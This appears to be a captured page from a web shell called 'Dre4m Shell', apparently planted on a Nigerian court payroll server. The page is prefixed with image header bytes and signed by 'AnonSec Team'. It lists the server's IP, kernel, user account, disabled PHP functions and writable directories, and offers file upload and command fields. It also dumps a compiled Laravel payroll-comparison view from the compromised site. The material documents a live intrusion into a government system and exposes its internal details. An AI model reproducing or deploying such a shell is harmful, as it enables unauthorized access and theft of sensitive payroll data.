ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.147.36.201
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/638f38c219b6e2508963b05301dac9aa751f85e0.php
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.9.1/font/bootstrap-icons.css" integrity="sha384-xeJqLiuOvjUBq3iGOjvSQSIlwrpqjSHXpduPd6rQpuiM3f5/ijby8pCsnbu5S81n" crossorigin="anonymous">
<?php $__env->startSection('pageTitle'); ?>
Payroll Monthly Comparison
<?php $__env->stopSection(); ?>
<?php $__env->startSection('content'); ?>

  <div class="box-body" style="background:#FFF;">
<div style = "clear:both"></div>
    <div class="row">
      <div class="col-md-12"><!--1st col-->
        <?php if(count($errors) > 0): ?>
        <div class="alert alert-danger alert-dismissible" role="alert">
          <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
          </button>
          <strong>Error!</strong> 
          <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
          <p><?php echo e($error); ?></p>
          <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
        </div>
        <?php endif; ?>  
        <?php if(session('message')): ?>
        <div class="alert alert-success alert-dismissible" role="alert">
          <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
          </button>
          <strong>Success!</strong> 
          <?php echo e(session('message')); ?>

        </div>                        
        <?php endif; ?>

         <?php if(session('err')): ?>
        <div class="alert alert-danger alert-dismissible" role="alert">
          <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
          </button>
          <strong>Success!</strong> 
          <?php echo e(session('err')); ?>

        </div>                        
        <?php endif; ?>

      </div>
      </div>
    </div>

  <div class="box-body" style="background:#FFF;">
    <div class="row">

    <h4 class="col-md-6" style="text-transform:uppercase">Monthly Earning Comparison</h4>

      <form method="post" class="no-print">
      <?php echo e(csrf_field()); ?>

      <div class="col-md-12">
        <div class="row">
          <?php if($CourtInfo->courtstatus==1): ?>
        <div class="col-md-6">
              <div class="form-group">
                <label>Select Court</label>
                <select name="court" id="court" class="form-control" style="font-size: 13px;">
                  <option value="">Select Court</option>
                  <?php $__currentLoopData = $courts; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $court): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                  <?php if($court->id == session('anycourt')): ?>
                  <option value="<?php echo e($court->id); ?>" selected="selected"><?php echo e($court->court_name); ?></option>
                <?php else: ?>
                <option value="<?php echo e($court->id); ?>" <?php if(old('court') == $court->id): ?> selected <?php endif; ?>><?php echo e($court->court_name); ?></option>
                <?php endif; ?>
                  <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                </select>
                 
              </div>
            </div>
          <?php else: ?>
            <input type="hidden" id="court" name="court" value="<?php echo e($CourtInfo->courtid); ?>">
          <?php endif; ?>
            <input type="hidden" id="globe" name="" value="<?php echo e(Auth::user()->is_global); ?>">
            <?php if($CourtInfo->divisionstatus==1 && Auth::user()->is_global==1): ?>
          <div class="col-md-3">
              <div class="form-group">
                <label>Select Division</label>  
                <select name="division" id="divisionG" class="form-control getDivision" style="font-size: 13px;">
                <option value="">Select Division</option>
                 <?php $__currentLoopData = $courtDivisions; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $divisions): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                 <option value="<?php echo e($divisions->divisionID); ?>" <?php if(old('division') == $divisions->divisionID): ?> <?php endif; ?>><?php echo e($divisions->division); ?></option>
                 <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                </select>
               </div>
              </div>
            <?php else: ?>
              <div class="col-md-3">
                <div class="form-group">
                    <label>Division</label>
                        <input type="text" class="form-control" id="divisionName" name="divisionName" value="<?php echo e($curDivision->division); ?>" readonly>
                </div>
            </div>
              <!--<input type="hidden" id="division" name="division" value="<?php echo e(Auth::user()->divisionID); ?>">-->
              <!--<input type="hidden" id="division" name="division" value="<?php echo e($CourtInfo->divisionid); ?>">-->
              <input type="hidden" id="divisionGlob" name="division" value="<?php echo e(Auth::user()->divisionID); ?>">
            <?php endif; ?>
            
            
            
            <div class="col-md-3">
                <div class="form-group">
                    <label for="bankName">BANK NAME</label>
                    <select name="bankName" id="bankName" class="form-control">
                        <option value="">Select Bank</option>

                    </select>
                </div>
            </div>



            <div class="col-md-3">
            <div class="form-group">
              <label >Period1 Year</label>
              <select name="year1" id="section" class="form-control">
                <option value="">Select Year</option>
                <?php for($i=2011;$i<=2025;$i++): ?>
                 <option value="<?php echo e($i); ?>" <?php if(old('year1') == $i||$year1 == $i): ?> selected <?php endif; ?>><?php echo e($i); ?></option>
                <?php endfor; ?>
              </select>
            </div>
          </div>

          <div class="col-md-3">
            <div class="form-group">
              <label> Period 1 Month  </label>
              <select name="month1" id="section" class="form-control">
                <option value="">Select Month </option>
                <option value="JANUARY" <?php if(old('month1') == 'JANUARY' ||$month1 == 'JANUARY'): ?> selected <?php endif; ?>>January</option>
                <option value="FEBRUARY" <?php if(old('month1') == 'FEBRUARY'||$month1 == 'FEBRUARY'): ?> selected <?php endif; ?>>February</option>
                <option value="MARCH" <?php if(old('month1') == 'MARCH'||$month1 == 'MARCH'): ?> selected <?php endif; ?>>March</option>
                <option value="APRIL" <?php if(old('month1') == 'APRIL'||$month1 == 'APRIL'): ?> selected <?php endif; ?>>April</option>
                <option value="MAY" <?php if(old('month1') == 'MAY'||$month1 == 'MAY'): ?> selected <?php endif; ?>>May</option>
                <option value="JUNE" <?php if(old('month1') == 'JUNE'||$month1 == 'JUNE'): ?> selected <?php endif; ?>>June</option>
                <option value="JULY" <?php if(old('month1') == 'JULY'||$month1 == 'JULY'): ?> selected <?php endif; ?>>July</option>
                <option value="AUGUST" <?php if(old('month1') == 'AUGUST'||$month1 == 'AUGUST'): ?> selected <?php endif; ?>>August</option>
                <option value="SEPTEMBER" <?php if(old('month1') == 'SEPTEMBER'||$month1 == 'SEPTEMBER'): ?> selected <?php endif; ?>>September</option>
                <option value="OCTOBER" <?php if(old('month1') == 'OCTOBER'||$month1 == 'OCTOBER'): ?> selected <?php endif; ?>>October</option>
                <option value="NOVEMBER" <?php if(old('month1') == 'NOVEMBER'||$month1 == 'NOVEMBER'): ?> selected <?php endif; ?>>November</option>
                <option value="DECEMBER" <?php if(old('month1') == 'DECEMBER'||$month1 == 'DECEMBER'): ?> selected <?php endif; ?>>December</option>
              </select>
            </div>
          </div>
           <div class="col-md-3">
            <div class="form-group">
              <label >Period 2 Year</label>
              <select name="year2" id="section" class="form-control">
                <option value="">Select Year</option>
                <?php for($i=2011;$i<=2025;$i++): ?>
                 <option value="<?php echo e($i); ?>" <?php if(old('year2') == $i||$year2 == $i): ?> selected <?php endif; ?>><?php echo e($i); ?></option>
                <?php endfor; ?>
              </select>
            </div>
          </div>

          <div class="col-md-3">
            <div class="form-group">
              <label> Period 2  Month </label>
              <select name="month2" id="section" class="form-control">
                <option value="">Select Month </option>
                <option value="JANUARY" <?php if(old('month2') == 'JANUARY' ||$month2 == 'JANUARY'): ?> selected <?php endif; ?>>January</option>
                <option value="FEBRUARY" <?php if(old('month2') == 'FEBRUARY'||$month2 == 'FEBRUARY'): ?> selected <?php endif; ?>>February</option>
                <option value="MARCH" <?php if(old('month2') == 'MARCH'||$month2 == 'MARCH'): ?> selected <?php endif; ?>>March</option>
                <option value="APRIL" <?php if(old('month2') == 'APRIL'||$month2 == 'APRIL'): ?> selected <?php endif; ?>>April</option>
                <option value="MAY" <?php if(old('month2') == 'MAY'||$month2 == 'MAY'): ?> selected <?php endif; ?>>May</option>
                <option value="JUNE" <?php if(old('month2') == 'JUNE'||$month2 == 'JUNE'): ?> selected <?php endif; ?>>June</option>
                <option value="JULY" <?php if(old('month2') == 'JULY'||$month2 == 'JULY'): ?> selected <?php endif; ?>>July</option>
                <option value="AUGUST" <?php if(old('month2') == 'AUGUST'||$month2 == 'AUGUST'): ?> selected <?php endif; ?>>August</option>
                <option value="SEPTEMBER" <?php if(old('month2') == 'SEPTEMBER'||$month2 == 'SEPTEMBER'): ?> selected <?php endif; ?>>September</option>
                <option value="OCTOBER" <?php if(old('month2') == 'OCTOBER'||$month2 == 'OCTOBER'): ?> selected <?php endif; ?>>October</option>
                <option value="NOVEMBER" <?php if(old('month2') == 'NOVEMBER'||$month2 == 'NOVEMBER'): ?> selected <?php endif; ?>>November</option>
                <option value="DECEMBER" <?php if(old('month2') == 'DECEMBER'||$month2 == 'DECEMBER'): ?> selected <?php endif; ?>>December</option>
              </select>
            </div>
          </div>
          <!--<div class="col-md-3">-->
          <!--  <div class="form-group">-->
          <!--    <label> Special Overtime  </label>-->
          <!--    <select name="sp" id="section" class="form-control">-->
          <!--      <option value="">Inclusive </option>-->
          <!--      <option value="1" <?php if(old('sp') == '1' ||$sp == '1'): ?> selected <?php endif; ?>>Exlusive</option>-->
          <!--    </select>-->
          <!--  </div>-->
          <!--</div>-->
          <div class="col-md-9">
            <div class="form-group">
              <div >
                <button type="submit" class="btn btn-success pull-right">Generate Report</button>
              </div>
            </div>           
          </div>
        </div>
      </div> 
      </form> 

    <div class="table-responsive" style="font-size: 11px; padding:10px;">
                <table id="mytable" class="table table-bordered table-striped table-highlight">
		        <thead>
		          <tr bgcolor="#c7c7c7">
		            <th>S/N</th>
		            <th>Staff Name</th>
		            <th>Banks</th>
		            <th><?php echo e($year1); ?> <?php echo e($month1); ?></th>
		            <th> <?php echo e($year2); ?> <?php echo e($month2); ?></th>
		            <th>Variation</th>
		            <th>Remark</th>
		            
		          </tr>
		        </thead>
		               
		        <tbody>
		        
                    <?php $i=1; ?>
                    <?php $tnet1=0; ?>
                    <?php $tnet2=0; ?>
                    <?php $tdiff=0; ?>
		            <?php $__currentLoopData = $record; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
		             <?php $url="/con-pecard/getCard/".$list['staffid']."/".$list['year']; ?>
		               <tr>
		               <td><?php echo e($i++); ?> </td>
		               <td> <a class="hidden-print" target ="_blank" href="<?php echo e(url($url)); ?>"><?php echo e($list['Names']); ?></a></td>
		               <td> <?php echo e($list['Banks']); ?></td>
		               <td> <?php echo e(number_format($list['net1'],2, '.', ',')); ?></td>
		               <td> <?php echo e(number_format($list['net2'],2, '.', ',')); ?></td>
		               <td> <?php echo e(number_format($list['diff'],2, '.', ',')); ?></td>
		                <td>
                            <span id="remarkIndex<?php echo e($i); ?>" style="font-weight: bold"><?php echo e(isset($getStaffRemark) ? $getStaffRemark[$list['StaffID']] : ''); ?></span>
                            <a href="javascript::void()" class="remarkBtn no-print" staffName="<?php echo e($list['Names']); ?>" staffId="<?php echo e($list['StaffID']); ?>"
                                year1="<?php echo e($year1); ?>" year2="<?php echo e($year2); ?>" month1="<?php echo e($month1); ?>" month2="<?php echo e($month2); ?>" remarkIndexRef="<?php echo e($i); ?>" data-toggle="modal" data-target="#remarkModal"
                                month="" year="">
                                <i class="bi bi-pen text-success"></i>
                            </a>
                        </td>
		               </tr>
		            <?php $tnet1+=$list['net1']; ?>
                    <?php $tnet2+=$list['net2']; ?>
                    <?php $tdiff+=$list['diff']; ?>
		            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
		            <tr>
		               <td><b>Total </b></td>
		               <td> </td>
		               <td> </td>
		               <td> <b><?php echo e(number_format($tnet1,2, '.', ',')); ?></b></td>
		               <td><b> <?php echo e(number_format($tnet2,2, '.', ',')); ?></b></td>
		               <td><b> <?php echo e(number_format($tdiff,2, '.', ',')); ?></b></td>
		               </tr>
		            </tbody>
		      </table>
		     </div>


            
            <div class="modal fade" id="remarkModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
                aria-hidden="true">
                <div class="modal-dialog" role="document">
                    <div class="modal-content">
                        <div class="modal-header" style="background-color: green">
                            <h4 class="modal-title" id="exampleModalLabel">Earning Comparism Remark for: <span id="staffModel" style="color: white"></span> <span
                                    id="yearModel"></span></h4>
                            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                                <span aria-hidden="true">&times;</span>
                            </button>
                        </div>
                        <form id="remarkForm">
                            <?php echo e(csrf_field()); ?>

                            <div class="modal-body">
                                <textarea class="form-control" name="remark" id="remarkValue" cols="30" rows="5"
                                    placeholder="Enter remark....." ></textarea>
                            </div>
                            <div class="modal-footer">
                                <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                                <button type="submit" class="btn btn-primary">Save/Update Remark</button>
                            </div>
                        </form>
                    </div>
                </div>
            </div>
            

    </div>
  </div><!-- /.col -->
</div><!-- /.row -->





      

<?php $__env->stopSection(); ?>


<?php $__env->startSection('styles'); ?>
<?php $__env->stopSection(); ?>


<?php $__env->startSection('scripts'); ?>

<script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>


<script type="text/javascript">

$(document).ready(function(){
 
$("#court").on('change',function(e){
   e.preventDefault();
  var id = $(this).val();
//alert(id);
  $token = $("input[name='_token']").val();
 $.ajax({
  headers: {'X-CSRF-TOKEN': $token},
  url: murl +'/session/court',
 
  type: "post",
  data: {'courtID':id},
  success: function(data){
  location.reload(true);
  //console.log(data);
  }
});

});

 //initiating variables
    let staffName;
    let staffID;
    let month1;
    let month2;
    let year1;
    let year2;
    let remarkIndex;

     //when then remark pen is clicked
        $(".remarkBtn").click(function(e) {
          e.preventDefault();
    
          //defaultly setting the remark form value to empty
          $("#remarkValue").val("");
    
          //getting the attribute value on the edit button
          staffName = $(this).attr('staffName');
          staffID = $(this).attr('staffId');
          month1 = $(this).attr('month1');
          month2 = $(this).attr('month2');
          year1 = $(this).attr('year1');
          year2 = $(this).attr('year2');
          remarkIndex = $(this).attr('remarkIndexRef');
    
          //populates some tags on the remark model
          $("#staffModel").html(staffName);
    
          //get the current remark and pass it as the value for the modal form
          var remarkMade = $(`#remarkIndex${remarkIndex}`).html();
            if(remarkMade != " " && remarkMade != null){
                $("#remarkValue").val(remarkMade);
            }
          
        });
        
        //when the remark form is submitted
            $("#remarkForm").submit(function (e) { 
              e.preventDefault();
              
              const remark =  $("#remarkValue").val();
              var _token =  $("input[name='_token']").val();

              $.ajax({
                type: "post",
                url: "/con-payrollReport/compare-earning/remark",
                data: {
                  _token : _token,
                  month1 : month1,
                  year1 : year1,
                  month2 : month2,
                  year2 : year2,
                  staffName : staffName,
                  staffID : staffID,
                  remark : remark
                },
                dataType: "json",
                success: function (response) {
                    //appending data to the remark column
                    $(`#remarkIndex${remarkIndex}`).html(response.remark);

                    // close modal
                    $('#remarkModal').modal('hide')
                }, 
                error : function (error) {
                  console.log(error)
                }
              });

            });
        
 });
</script>


<script>
        $(document).ready(function() {
            const globalUser = ($('#globe').val())
            let prevDivision = $("#divisionGlob").val();
            $("#bankName").empty();
            $.ajax({
                url: murl + '/staff/bank/retreive',
                type: "post",
                data: {
                    'divisionID': prevDivision,
                    '_token': $('input[name=_token]').val()
                },
                success: function(data) {
                    // location.reload(true);
                    console.log("my banks", data);
                    $('#bankName').append('<option value="" >' + 'Select Bank' + '</option>');
                    $.each(data, function(i, obj) {
                        // console.log(22222222, obj);
                        $('#bankName').append('<option value="' + obj.bank + '" >' + obj
                            .bankName + '</option>');

                    })
                }
            });

            if (globalUser) {
                $('.getDivision').change(function() {
                    let prevDivision = $("#divisionG").val();
                    // alert(prevDivision);
                    $("#bankName").empty();
                    $.ajax({
                        url: murl + '/staff/bank/retreive',
                        type: "post",
                        data: {
                            'divisionID': prevDivision,
                            '_token': $('input[name=_token]').val()
                        },
                        success: function(data) {
                            // location.reload(true);
                            // console.log(data);
                            $('#bankName').append('<option value="" >' + 'Select Bank' +
                                '</option>');
                            $.each(data, function(i, obj) {
                                // console.log(22222222, obj);
                                $('#bankName').append('<option value="' + obj.bank +
                                    '" >' + obj
                                    .bankName + '</option>');

                            })
                        }
                    });
                })
            }

        })
        // (function() {

        // })();
    </script>

<?php $__env->stopSection(); ?>



<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/nicngo5/grp.nicn.gov.ng/resources/views/payrollReport_con/compare_earning.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team